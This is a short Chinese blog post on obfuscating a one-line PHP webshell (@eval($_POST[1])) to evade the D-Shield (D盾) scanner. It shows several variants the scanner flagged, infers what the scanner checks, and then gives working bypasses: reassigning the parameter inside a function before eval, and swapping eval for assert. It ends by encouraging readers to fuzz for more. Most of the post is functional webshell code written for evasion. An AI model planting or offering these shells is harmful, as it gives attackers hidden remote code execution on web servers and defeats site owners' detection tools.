本文最后更新于:2019 , 八月 19日 星期一, 8:31 晚上
Code
一个早期的webshell一句话,早就被查杀
<?php
@eval($_POST[1]);
?>
进行混淆测试
// 第一次 @''.eval(''.$_POST[1]); // 被杀
// 第二次 function nice($nice){ $a = eval($nice); return $a; } @nice($_POST[1]); // 被杀
// 第三次 function nice($p){ eval(''.$p); } $p = "$_POST[1]"; nice($p); // 被杀
- 总结
经过了以上的两次测试,你可以发现
第一次,它检测了eval函数并读取了里面的类容
第二次,使用了方法并利用传参+return 返回,D盾显示eval后门 $nice{未知内容} 可疑eval
第三次,只使用方法+传参的方法,并把参数用变量传递,显示eval后门 函数内的内容无法识别
可以看到D盾是针对eval()
函数和方法外部的变量带入进行检测的,对函数内容的检测
绕过
在方法中对变量重复赋值:被杀
function nice($p){ $p = "$_POST[2]"; eval(''.$p); } $p = "$_POST[1]"; nice($p);
对方法中变量进行多次赋值:绕过
function nice($p){ $a = $p; eval(''.$a); } $p = "$_POST[1]"; nice($p);
在此基础上,你还可以把
eval
函数替换成assert函数
:绕过function nice($p){ $a = $p; assert(''.$a); } $p = "$_POST[1]"; nice($p);
当然你也可以使用其他的方式,对其进行fuzz,本人的表达能力不太好,各位大佬将就看看